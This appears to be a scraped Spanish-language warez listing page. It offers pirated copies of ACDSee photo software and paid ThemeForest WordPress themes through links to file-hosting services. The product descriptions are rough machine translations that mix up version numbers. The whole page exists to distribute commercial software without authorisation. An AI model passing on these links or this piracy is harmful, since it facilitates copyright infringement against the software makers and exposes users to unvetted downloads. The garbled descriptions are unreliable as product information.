Deja Un Comentario - Comentar es Alentar

ACDSee v20.0.0.560

$
0
0


ACDSee v20.0.0.560 [Ingles]
[ RAR | Install | Win: 7/8/8.1/10 | x86/x64 | 182.92 MB/133.18 MB ]

Descripción:

ACDSee 18 permite a los fotógrafos para llevar a cabo todos los elementos esenciales del proceso de la fotografía creativa y distribución en un solo lugar. La gestión de su creciente colección de fotos nunca ha sido tan indoloro.

Capturas:


Características:

gestión de activos digitales: Organizar la forma que desee. Añadir metadatos, palabras clave, clasificaciones, categorías y detalles de la ubicación de las imágenes. identificar rápidamente las fotos para su posterior procesamiento con etiquetas visuales y etiquetas de color. Hacer uso de potentes herramientas de búsqueda para encontrar fotos basadas en casi cualquier criterio. Con ACDSee Pro 8, incluso el más salvaje de las bibliotecas puede ser domesticado.
la libertad no destructivo: Prepárate para, go-para-que la creatividad sin preocupaciones. entorno no destructivo ACDSee Pro de 8 significa que sus imágenes originales siempre se mantienen intactos. Vista previa de los cambios de forma inmediata, ocultar, mostrar o cambiar los ajustes arriba, y guardar diferentes versiones de sus fotos.
procesamiento RAW: Ver increíblemente reales como la vida de una representación del color y el contraste. Obtener el equilibrio correcto de blancos y exposición, y ajustar la distribución tonal. Impulsar la viveza al tiempo que protege los tonos de piel, y ajustar la saturación, el brillo y el tono en una base de color por color. Evitar la saturación del color durante la conversión RAW mediante el aprovechamiento de histograma de la imagen.

Idioma: Ingles
Compreso con Winrar



Deja Un Comentario - Comentar es Alentar

ACDSee Pro v10.0 Build 624

$
0
0


ACDSee Pro v10.0 Build 624 [Ingles]
[ RAR | Install | Win: 7/8/8.1/10 | x86/x64 | 132.33 MB/148.81 MB ]

Descripción:

mejora de fotografía establecido y solución de gestión, ACDSee Pro 9 no sólo resiste el paso del tiempo, pero sigue asumiendo una lista cada vez mayor de mejoras y nuevas características diseñadas para ofrecer a los usuarios los resultados impresionantes y facilidad de uso que han llegado a esperar de este software de confianza. Las nuevas herramientas de organización, corrección de la lente, la visión cronológica elevada, nuevas formas de rastrear y lotes aplicar ningún ajuste de edición, la libertad de volver a ningún lugar en el desarrollo, ampliaron las capacidades creativas a través de la ayuda de Photoshop ™ plug-in, nueva luz y la piel ajustes, y mucho más , que ACDSee Pro 9 una de nuestras versiones más fuertes hasta la fecha.

Capturas:


Características:

Acciones ACDSee - Automatizar con Facilidad
Doctoring la distorsión de la lente con corrección
Califica con Colecciones
Fotos Mode - Su vista aérea
Soporte 4K - Tu Revolución Resolución
Instantáneas - el ajuste de Freeze Frame
Dehaze - Toma de imágenes fijas y más oscuro es de la oscuridad
Tune piel - impecable y radiante
Capacidades que corrigen extendidas con el apoyo de Photoshop Plugin ™
Nuevos Filtros - Aplique un poco de magia
Indolora Color Matching

Idioma: Ingles
Compreso con Winrar



Deja Un Comentario - Comentar es Alentar

Cardinal v2.5.6 - Themeforest Premium Wordpress Theme

$
0
0


Cardinal v2.5.6 - Themeforest Premium Wordpress Theme | 160 MB

El cardenal es un tema de wordpress premium adecuado para creativos de agencias, empresas, la fotografía y la cartera de sitios web. El cardenal responde plenamente, la retina tema súper listo. wordpress tema cardinal es varios diseños en uno, 30 demostraciones bellamente diseñado con sencillo y rápido instalador contenido de demostración.

Código:

página del producto: http://themeforest.net/item/cardinal/8070889
Download Links:

Código:

http://ul.to/luz4kaky
Código:

http://www.filefactory.com/file/3uwnngohie1p/Cardinal%20v2.5.6%20-%20Themeforest%20Premium%20Wordpress%20Theme.zip
Código:

http://turbobit.net/kg3squ32vhfq.html
Código:

http://depositfiles.com/files/caj13yvhf

Jarvis v3.7.3 - Onepage Parallax WordPress Theme

$
0
0


Jarvis v3.7.3 - Onepage Parallax WordPress Theme | 8.77 MB

Jarvis es el tema de WordPress una página de paralaje perfecto para la empresa, agencia, sin fines de lucro, independiente o de negocios en general.

Código:

página del producto: https://themeforest.net/item/jarvis-onepage-parallax-wordpress-theme/5370691
Download Links:

Código:

http://ul.to/b92ghcnu
Código:

http://turbobit.net/upofaqs4makl.html
Código:

http://www.filefactory.com/file/4e3n083oe0h1/Jarvis%20v3.7.3%20-%20Onepage%20Parallax%20WordPress%20Theme.zip
Código:

http://depositfiles.com/files/ah8u4967q

Handy v4.10 - Handmade Shop WordPress WooCommerce Theme

$
0
0


Handy v4.10 - Handmade Shop WordPress WooCommerce Theme | 25.8 MB

Mano hecha a mano Tienda WooCommerce WordPress Theme es un tema sensible y fácil de usar WordPress elegante. Práctico tema Tienda WooCommerce es un gran comienzo para cualquiera que esté buscando para iniciar su única tienda en línea hecha a mano o en busca de crear un mercado de productos hechos a mano.

Código:

página del producto: http://themeforest.net/item/handy-handmade-shop-wordpress-woocommerce-theme/11048978
Download Links:

Código:

http://ul.to/h0v8ztwa
Código:

http://www.filefactory.com/file/51bu0ivxd3h9/Handy%20v4.10%20-%20Handmade%20Shop%20WordPress%20WooCommerce%20Theme.zip
Código:

http://turbobit.net/ge9zl1s770xk.html
Código:

http://depositfiles.com/files/xkp22r8uj

Pitch v1.6 - A Theme for Freelancers and Agencies

$
0
0


Pitch v1.6 - A Theme for Freelancers and Agencies | 20.6 MB

Potente interfaz de administración altamente personalizable conocimiento de codificación No se requiere de un clic Demostración contenido de importación Seleccionar Core Plugin con los tipos de envío personalizado de pantalla completa Seleccione deslizante con la funcionalidad de paralaje diapositivas de imagen / vídeo en Seleccionar deslizantes animaciones personalizadas ilimitado en Seleccionar deslizante SVG Gráficos funcionalidad y SVG del dibujo lineal de Animación Elija un control deslizante animación de movimiento de la imagen en Seleccionar deslizante

Código:

página del producto: http://themeforest.net/item/pitch-a-theme-for-freelancers-and-agencies/13111699
Download Links:

Código:

http://ul.to/fpvww6ec
Código:

http://turbobit.net/xoun7105y7do.html
Código:

http://www.filefactory.com/file/1qw9ugeawont/Pitch%20v1.6%20-%20A%20Theme%20for%20Freelancers%20and%20Agencies.zip
Código:

http://depositfiles.com/files/3y3q7t4ea
Viewing all 11602 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>